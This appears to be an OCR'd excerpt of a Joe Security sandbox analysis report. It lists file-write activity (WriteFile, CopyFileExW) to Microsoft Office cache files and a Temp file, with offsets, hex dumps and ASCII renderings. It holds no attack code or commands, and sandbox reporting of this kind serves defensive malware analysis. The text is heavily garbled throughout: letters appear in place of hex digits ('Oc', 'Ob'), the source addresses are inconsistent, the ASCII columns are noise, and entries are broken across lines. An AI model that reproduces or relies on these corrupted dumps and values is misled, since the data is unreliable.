37 fd 25 fd fd 61 79 00 6a
03 00 00 58 53 51 fd fd
84 fd fd 0d 4a fd fd 52 Oc
77 fd 70 73 01 00 00 00
fd 78 32 67 1a fd 3b 40 fd
0d fd 03 fd 5d fd 01 00 00
00 fd 54 27 Oc 6e 7a 31
of fd 15 4b fd 67 fd fd fd
79 fd fd fd 00 fd 03 00 00
fd 54 07 00 00 00 fd 54
27 14 6e 7a 31 9f fd 15
4b fd 67 fd fd fd 79 fd fd
19 00 fd 03 00 00 fd 54
27 1c 6e 7a 31 9f fd 15
4b fd 67 fd fd fd 79 fd fd
39 00 fd 03 00 00 fd 54
27 2c 6e 7a 31 9f fd 15
4b fd 67 fd fd fd 79 fd fd
29 00 72 03 00 00 58 2b
29 14 6e 8d 33 34 49 41
fd fd 6e fd fd fd fd Of 01
00 00 00 fd 54 fd Oc fd 19
fd fd 3d fd fd 45 fd 16 2d
fd 5a fd 68 fd 07 Oc 6e 7a
31 9f fd 15 4b fd 67 fd fd
fd 79 fd fd 14 6e 7a 31 of
fd 15 4b fd 67

05 fd 00 fd 6d 07 24 6e
7a 31 9f fd 15 4b fd 67 fd
fd fd 79 fd fd 01 00 00 00
01 04 00 09 00 00 00 00
00 00 00 fd fd fd fd fd fd
fd fd 00 00 00 00 05 fd 00
fd fd 07 Of 6e 7a 31 9f fd
15 4b fd 67 fd fd fd 79 fd
fd 02 00 00 00 01 06 00
0a 00 00 00 00 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 05 fd 00 fd fd 07 11
6e 7a 31 9f fd 15 4b fd 67
fd fd fd 79 fd fd 03 00 00
00 01 06 00 Ob 00 00 00
00 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 05 fd
00 fd fd 07 09 6e 7a 31 9f
fd 15 4b fd 67 fd fd fd 79
fd fd 05 00 00 00 01 02
00 Oc 00 00 00 00 00 00
00 fd fd fd fd fd fd fd fd 00
00 00 00 05 fd 00 fd fd 07
15 fd 19 fd fd 3d fd fd 45
fd 16 2d fd 5a fd 68 01 00
00 00 01 00 00 0d 00 00
00 00 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00 05
fd 00 fd fd

10 00 00 00 03 00 00 00
11 00 00 00 06 00 00 00
12 00 00 00 04 00 00 00
13 00 00 00 02 00 00 00
01 00 00 00 cb fd fd

11 00 00 00 0f 00 00 00
12 00 00 00 06 00 00 00
13 00 00 00 04 00 00 00
01 00 00 00 18 fd fd fd

11 00 00 00 0f 00 00 00
12 00 00 00 06 00 00 00
13 00 00 00 04 00 00 00
01000000 fd fd 13 fd

>T'gTB7%ayjXSQJRwps
X20;@]T'nz1

Ascii Completion

success or wait

KgyTT'nz1KgyT'nz1Kgy9

T',nz1Kgy
)rX+)n34IAnT=EZhnz1Kg
ynz1Kg

m$nz1Kgynz1KgynzlKgy success or wait
nz1Kgy=EZh

success or wait

success or wait

success or wait

Count Source Address

2

3

1

1

1

TFEEE917A59

TFEEE917A59

TFEEE917A59

TFEEE917A59

7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

Copyright Joe Security LLC 2022

Offset

0

76

17592

18144

18384

Length Value

512 Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a 6b 28 56
fd 30 fd 4f fd 7d fd fd fd fd
fd 3b 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 04 5f 67 4c fd
4c fd 1d Oc 6¢ 69 fd 20 3¢
0f 00 00 00 00 00 00 00
26 fd 30 4f fd 44 fd fd 20
26 6f fd fd fd 00 53 00 00
00 00 00 00 00 04 00 00
02 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 57
00 00 00 00 00 00 00 02
00 00 00 00 00 00 00 04
00 00 00 00 02 00 00 00
00 00 04 00 00 00 fd 78
fd Of fd 78 fd Of fd 78 fd Of
fd 78 fd Of 2a 00 00 00 00
00 00 00 fd 14 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00

40 fd fd 04 5f 67 4c fd 4c fd
1d Oc 6¢ 69 fd 20 3c 0f 00
00 00 00 00 00 00 26 fd
30 4f fd 44 fd fd 20 26 6f
fd fd fd

114 ea 69 49 01 Oc 56 Oc fd
4d fd fd 3d fd fd 4f fd fd fd
fd 36 6f 00 fd fd fd fd fd fd
7d 44 fd fd 75 fd 5c fd 59
4e 03 00 00 00 00 00 00
00 0Ob fd 00 fd 2a Oc 1e
23 fd fd 50 fd fd 4b fd fd
34 fd 31 42 fd 03 19 03
00 75 fd 00 fd 40 03 Oc
7d 65 fd fd fd 5f fd 4e fd
3c fd Oe fd 4a fd 37 00 19
01 00 00 00 00 00 00 00
5038 00 1c 79 05

70 ea 69 49 01 Oc 56 34 fd
4d fd fd 3d fd fd 4f fd fd fd
fd 36 6f 00 fd fd fd fd fd fd
7d 44 fd fd 75 fd 5¢ fd 59
4e 0a 00 00 00 00 00 00
00 07 58 22 Oc 19 fd 48
56 fd fd 32 45 fd 67 fd fd
fd fd fd 7d 05

555 3e 03 00 00 54 07 00 00
00 fd 54 27 Oc fd 4d fd fd
3d fd fd 4f fd fd fd fd 36 6f
fd 19 00 fd 03 00 00 fd 54
27 14 fd 4d fd fd 3d fd fd
4f fd fd fd fd 36 6f fd 39
00 fd 03 00 00 fd 54 27
1c fd 4d fd fd 3d fd fd 4f
fd fd fd fd 36 6f fd 61 00
fd 03 00 00 fd 54 27 24 fd
4d fd fd 3d fd fd 4f fd fd fd
fd 36 6f fd 55 00 fd 03 00
00 fd 54 27 34 fd 4d fd fd
3d fd fd 4f fd fd fd fd 36 6f
fd 29 00 72 03 00 00 58
2b 29 19 fd 48 56 fd fd 32
45 fd 67 fd fd fd fd fd 7d
01 00 00 00 fd 54 27 Oc
67 54 fd fd 10 fd fd 42 fd
fd 37 fd 25 fd fd 61 79 00
6a 03 00 00 58 53 51 fd
fd 84 fd fd 0d 4a fd fd 52
Oc 77 fd 70 73 01 00 00
00 fd 78 32 67 1a fd 3b
40 fd 0d fd 03 fd 5d fd 01
00 00 00 fd 54 27 Oc 6e
7a 31 9f fd 15 4b fd 67 fd
fd fd 79 fd fd fd 00 fd 03

Ascii Completion Count Source Address

MeFyzk(V00};S,XFFaq_  success or wait 1 7FEEE917A59

gLLIi <&00D &0SWxxxx*

_gLLIli <&00D &o success or wait 1 7TFEEE917A59

iIVM=060}Du\YN*#PK41 success or wait 4 7FEEE917A59

Bu@}e_N<J7P8y

iIVAM=060}Du\YNX"HV2  success or wait 2 TFEEE917A59

Eg}

>TT'M=060T'M=0609T"  success or wait 2 7FEEE917A59
M=060aT'$M=

060UT'4M=060)rX+)HV2

EQ}T'gTB7%

ayjXSQJIRwpsx2g;@]T'nz

1Kgy

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

Copyright Joe Security LLC 2022

Offset

3202

16640

Length Value

472 05 fd 00 fd fd 08 Of fd 4d
fd fd 3d fd fd 4f fd fd fd fd
36 6f fd 01 00 00 00 01
06 00 14 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00 05 fd 00 fd fd
08 11 fd 4d fd fd 3d fd fd
Af fd fd fd fd 36 6f fd 02
00 00 00 01 06 00 15 00
00 00 00 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
05 fd 00 fd fd 08 15 fd 4d
fd fd 3d fd fd 4f fd fd fd fd
36 6f fd 03 00 00 00 01
01 00 16 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00 05 fd 00 fd fd
08 10 fd 4d fd fd 3d fd fd
Af fd fd fd fd 36 6f fd 04
00 000001010017 00
00 00 00 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
05 fd 00 fd fd 08 09 fd 4d
fd fd 3d fd fd 4f fd fd fd fd
36 6f fd 06 00 00 00 01
02 00 18 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00 05 fd 00 fd fd

32 11 00 00 00 1a 00 00 00
12 00 00 00 08 00 00 00
13 00 00 00 06 00 00 00
01 00 00 00 fd 5f 5¢ fd

512 Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a 6b 28 56
fd 30 fd 4f fd 7d fd fd fd fd
fd 3b 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 04 5f 67 4c fd
4c fd 1d Oc 6¢ 69 fd 20 3c
0f 00 00 00 00 00 00 00
26 fd 30 4f fd 44 fd fd 20
26 6f fd fd fd 00 53 00 00
00 00 00 00 00 04 00 00
02 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 57
00 00 00 00 00 00 00 02
00 00 00 00 00 00 00 04
00 00 00 00 02 00 00 00
00 00 04 00 00 00 fd 78
fd of fd 78 fd Of fd 78 fd Of
fd 78 fd Of 2a 00 00 00 00
00 00 00 fd 14 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00

Ascii

M=060M=060M=060M=
0O60M=060

MeFyzk(VOO};S,XFFaq_
gLLIi <&0OD &0SWxxxx*

Completion

success or wait

success or wait

success or wait

Count Source Address

3 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Temp\
{4EBE4D7B-7080-4C78-9E4E-C3
9E5F92BCDO}

C:\Users\user\AppData\Local\Temp\
{4EBE4D7B-7080-4C78-9E4E-C3
9E5F92BCDO}

C:\Users\user\AppData\Local\Temp\
{4EBE4D7B-7080-4C78-9E4E-C3
9E5F92BCDO}

Copyright Joe Security LLC 2022

Offset

0

76

512

Length Value

512

40

65024

Oc fd 91 fd 1b fd 4d fd 65 MeFyzqKtzS,XFFaqtWI7

46 79 fd fd fd 7a fd fd fd
71 0f ba 4b fd 74 fd fd 7a
fd fd fd 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 74 fd ca fd fd 57 49
fd 37 68 1e fd fd fd 04 05
00 00 00 00 00 00 00 fd
32 fd fd fd fd 27 47 fd fd
fd fd fd 65 12 fd 00 06 00
00 00 00 00 00 00 04 00
00 02 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00 00
00 00 00 00 00 00 00 00
1a 00 00 00 00 00 00 00
02 00 00 00 00 00 00 00
04 00 00 00 00 02 00 00
00 00 00 00 00 00 00 fd
78 fd Of fd 78 fd Of fd 78
fd Of fd 78 fd Of 01 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00

74 fd ca fd fd 57 49 fd 37
68 1e fd fd fd 04 05 00 00
00 00 00 00 00 fd 32 fd fd
fd fd 27 47 fd fd fd fd fd
6512 fd

fd fd fd fd fd 7a 56 fd 10
00 00 00 00 00 00 00 01
20 00 fd 40 01 00 02 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00

Ascii

h2'Gexxxx

tWI7h2'Ge

zvV @

Completion

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
1 7TFEEE917A59
2 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile
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File Path Offset

C:\Users\user\AppData\Local\Temp\ 512
{4EBE4D7B-7080-4C78-9E4E-C3
9E5F92BCDO}

C:\Users\user\AppData\Local\Temp\ 1536
{4EBE4D7B-7080-4C78-9E4E-C3
9E5F92BCDO}

C:\Users\user\AppData\Local\Temp\ 0
{4EBE4D7B-7080-4C78-9E4E-C3
9E5F92BCDO}

C:\Users\user\AppData\Local\Temp\ 76
{4EBE4D7B-7080-4C78-9E4E-C3
9E5F92BCDO}

Copyright Joe Security LLC 2022

Length Value

1024

16

512

40

fd fd fd fd fd 7a 56 fd 10

00 00 00 00 00 00 00 01
20 00 fd 40 01 00 02 00

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00

10 00 00 00 00 00 00 00
01 00 00 00 d5 02 50

Oc fd 91 fd 1b fd 4d fd 65 MeFyzgKtzS,XFFaqtwWI7

46 79 fd fd fd 7a fd fd fd
71 0f ba 4b fd 74 fd fd 7a
fd fd fd 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 74 fd ca fd fd 57 49
fd 37 68 1e fd fd fd 04 05
00 00 00 00 00 00 00 fd
32 fd fd fd fd 27 47 fd fd
fd fd fd 65 12 fd 00 06 00
00 00 00 00 00 00 04 00
00 02 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00 00
00 00 00 00 00 00 00 00
1a 00 00 00 00 00 00 00
02 00 00 00 00 00 00 00
04 00 00 00 00 02 00 00
00 00 00 00 00 00 00 fd
78 fd Of fd 78 fd Of fd 78
fd Of fd 78 fd Of 01 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00

74 fd ca fd fd 57 49 fd 37
68 le fd fd fd 04 05 00 00
00 00 00 00 00 fd 32 fd fd
fd fd 27 47 fd fd fd fd fd
65 12 fd

Ascii

zv @

P

h2'Gexxxx

tWI7h2'Ge

Completion

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile
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File Path Offset

C:\Users\user\AppData\Local\Temp\ 2560
{4EBE4D7B-7080-4C78-9E4E-C3
9E5F92BCDO}

C:\Users\user\AppData\Local\Temp\ 2576
{4EBE4D7B-7080-4C78-9E4E-C3
9E5F92BCDO}

C:\Users\user\AppData\Local\Temp\ 1552
{4EBE4D7B-7080-4C78-9E4E-C3
9E5F92BCDO}

C:\Users\user\AppData\Local\Temp\ 0
{4EBE4D7B-7080-4C78-9E4E-C3
9E5F92BCDO}

Copyright Joe Security LLC 2022

Length Value

4096 fd fd fd fd fd 7a 56 fd 11
00 00 00 00 00 00 00 03
10 fd fd 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

00 00 00 00 00 00

4 03 10 fd fd

24 10 00 00 00 01 00 00 00
11 00 00 00 01 00 00 00

01 00 00 00 68 fd fd 28

512 Oc fd 91 fd 1b fd 4d fd 65 MeFyzgKtzS,XFFaqgtWI7

46 79 fd fd fd 7a fd fd fd
71 0f ba 4b fd 74 fd fd 7a
fd fd fd 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 74 fd ca fd fd 57 49
fd 37 68 1e fd fd fd 04 05
00 00 00 00 00 00 00 fd
32 fd fd fd fd 27 47 fd fd
fd fd fd 65 12 fd 00 06 00
00 00 00 00 00 00 04 00
00 02 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00 00
00 00 00 00 00 00 00 00
1a 00 00 00 00 00 00 00
02 00 00 00 00 00 00 00
04 00 00 00 00 02 00 00
00 00 00 00 00 00 00 fd
78 fd Of fd 78 fd Of fd 78
fd Of fd 78 fd Of 01 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00

Ascii

zVvV

h(

h2'Gexxxx

Completion

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
2 7TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
nFSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-CNRY.FSD

Copyright Joe Security LLC 2022

Offset

0

76

6656

6712

2580

1576

Length Value

65536  Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a fd fd fd
71 0fba 4b fd 74 fd fd 7a
fd fd fd 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 09 46 6f 1c 48
4d fd fd 7e fd fd 3a 08 38
0Ob 00 00 00 00 00 00 00
fd 32 fd fd fd fd 27 47 fd
fd fd fd fd 65 12 fd 00 41
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 45 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 15 00
00 00 00 00 00 00 fd 06
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

40 fd fd 09 46 6f 1c 48 4d fd
fd 7e fd fd 3a 08 38 Ob 00
00 00 00 00 00 00 fd 32
fd fd fd fd 27 47 fd fd fd fd
fd 65 12 fd

il fd 36 27 fd fd 17 41 fd fd
7b 67 06 fd 13 0d 03 00
02 00 fd 00 40 20 70 3d
fd 74 fd fd fd 4d fd fd 61
04 fd 3a 70 4b 0a 03 00
00 3e 03 00 00 fd 01 49

fd fd fd fd fd 7a 56 fd 12
00 00 00 00 00 00 00 03
10 fd fd 06 00 fd 46 62 2a
fd 36 fd 4f fd fd e4 fd fd 6f
2501 00 00 00 02 00 00
00 00 00 00 00 fd 3b 04
02 fd 65 66 48 fd fd 6b 06
1358 fd 2c 01 00 00 00
06 00 fd fd 25 76 2c fd 4f
fd 40 fd fd fd 2e fd fd fd
53 01 00 00 00 05 00 00
00 00 00 00 00 fd 3b 04
02 fd 65 66 48 fd fd 6b 06
13 58 fd 2¢c 03 00 00 00
06 00 fd fd fd 43 fd fd 03
7f 46 fd fd fd d5 60 61 5f
01 00 00 00 08 00 00 00
00 00 00 00 fd 3b 04 02
fd 65 66 48 fd fd 6b 06 13
58 fd 2c 03 00 00 00 06
00 fd 56 5f 7e fd 7f 2f fd
47 fd 31 fd 2c fd Oc fd fd
01 00 00 00 10 00 00 00
00 00 00 00 fd 3b 04 02
fd 65 66 48 fd fd 6b 06 13
58 fd 2c 03 00 00 00 06
00 fd fd 51 2a 21 21 3b
le 41 fd fd 63 fd d3 4c 01
00 00 00 14 00 00

4096

50 05 fd 00 fd 40 03 07 46
62 2a fd 36 fd 4f fd fd e4
fd fd 6f 25 01 00 00 00 01
05 00 01 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00

32 10 00 00 00 02 00 00 00
11 00 00 00 02 00 00 00
12 00 00 00 02 00 00 00
01 00 00 00 fd 3a 61 fd

Ascii

MeFyzgKtzS,XFFaqFoH
M~:82'GeAEXXXX

FoHM~:82'Ge

6A{g@ p=tMa:pK>I

zVFb600%:;efHkX,%v,0
@.S;efHkX,C
F'a_;efHkX,V_~/G1,;efHk
X,Q*IILAL

@Fb600%

a

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

2 TFEEE95B1C3
1 7TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
3 7TFEEE917A59
1 7TFEEE917A59

Symbol

CopyFileExW

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-CNRY.FSD

Copyright Joe Security LLC 2022

Offset

0

76

10808

14904

Length Value

512

40

4096

122

Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a fd fd fd
71 0fba 4b fd 74 fd fd 7a
fd fd fd 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 09 46 6f 1c 48
4d fd fd 7e fd fd 3a 08 38
0Ob 00 00 00 00 00 00 00
fd 32 fd fd fd fd 27 47 fd
fd fd fd fd 65 12 fd 00 41
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 45 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 15 00
00 00 00 00 00 00 fd 06
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

fd fd 09 46 6f 1c 48 4d fd
fd 7e fd fd 3a 08 38 Ob 00
00 00 00 00 00 00 fd 32
fd fd fd fd 27 47 fd fd fd fd
fd 65 12 fd

fd fd fd fd fd 7a 56 fd 13
00 00 00 00 00 00 00 03
10 fd fd 06 00 fd fd 09 fd
6¢ fd fd fd 46 fd 55 fd fd fd
50 45 7e 01 00 00 00 06
00 00 00 00 00 00 00 30
fd fd 4d fd 4d 43 4f fd 59
fd 1c fd 70 06 65 01 00
00 00 06 00 fd fd 5b fd fd
33 fd 4e 41 fd 2b 01 fd fd
fd 01 fd 01 00 00 00 11
00 00 00 00 00 00 00 3d
fd fd 4a fd fd 06 4b fd fd
fd 75 26 fd fd fd 01 00 00
00 06 20 fd fd 2b fd fd 6a
4c 59 fd 4d fd fd 21 29 fd
2f 34 fd 06 00 00 00 12
00 00 00 00 00 00 00 fd
fd 84 fd fd 0d 4a fd fd 52
Oc 77 fd 70 73 01 00 00
00 fd 01 36 fd fd 31 60 44
fd fd 16 fd fd fd 1a 01 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

ea 69 49 00 Oc 56 Oc fd
09 fd 6¢ fd fd fd 46 fd 55
fd fd fd 50 45 7e fd 1d 42
13 fd 49 55 fd 42 fd fd fd
fd 05 6a 2d 54 01 00 00
00 00 00 00 00 05 60 20
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
38 66 14 fd fd 84 fd fd Od
4afd fd 52 0c 77 fd 70 73
Oc fd fd 84 fd fd 0d 4a fd
fd 52 0c 77 fd 70 73 Oc fd
01 36 fd fd 31 60 44 fd fd
16 fd fd fd 1a 05

Ascii

MeFyzgKtzS,XFFagFoH
M~:82'GeAEXXXX

FoHM~:82'Ge

zVIFUPE~OMMCOYpe[3
NA+=JKu& +jL
YM!)/4IJRwps61'D

iIVIFUPE~BIUBj-T"
8fJRwpsJRwps61'D

Completion

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
nFSD-CNRY.FSD

Copyright Joe Security LLC 2022

Offset

15032

10824

1608

0

76

15208

15720
